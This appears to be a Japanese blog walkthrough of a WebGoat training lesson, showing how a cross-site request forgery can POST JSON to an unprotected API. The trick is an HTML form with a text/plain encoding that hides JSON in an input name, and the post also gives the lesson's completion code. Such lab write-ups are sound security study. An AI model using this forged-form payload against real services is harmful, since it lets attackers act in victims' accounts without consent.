Hello there, ('ω')ノ
content-typeに依存することが、CSRFに対する防御ではないのがわかって。
次にCSRFに対して保護されていないAPIに対してCSRF攻撃を実行できるかを。
今回は、エンドポイントに次のJSONメッセージをPOSTする必要がありとのことで。
POST /csrf/feedback/message HTTP/1.1
{
"name" : "WebGoat",
"email" : "webgoat@webgoat.org",
"content" : "WebGoat is the best!!"
}
まずは、動作確認からリクエスト内容を確認して。
ファイルの種類を示す情報を指定する項目のContent-Typeを確認して。
一応、リクエスト先も確認しておいて。
POST http://192.168.1.54:8000/WebGoat/csrf/feedback/message
まずは、json形式でAPIにメッセージを送信する必要があるので。
下記のように『enctype = "text /plain"』を追加して。
『name』属性部分にJSONデータを挿入して最小のHTMLファイルを作成して。
<html>
<body>
<form action = "http://192.168.1.54:8000/WebGoat/csrf/feedback/message" method = "POST" enctype="text/plain" >
<input name = '{"name":"WebGoat","email":"webgoat@webgoat.org","content":"WebGoat is the best!!","dummy":"' value='test"}'>
<input type = "submit" value = "Submit review">
</ form>
</ body>
</ html>
JSONデータは、下記のようにもっとシンプルでもよいかと。
<input name = '{"name":"WebGoat","email":"webgoat@webgoat.org","content":"WebGoat is the best!!" }'>
Submit reviewボタンをおすと、下記のコードが表示されて。
c0b3c8ac-140e-4a24-bdff-cdde781a11a7
コードを入力するとクリアできた。
Best regards, (^^ゞ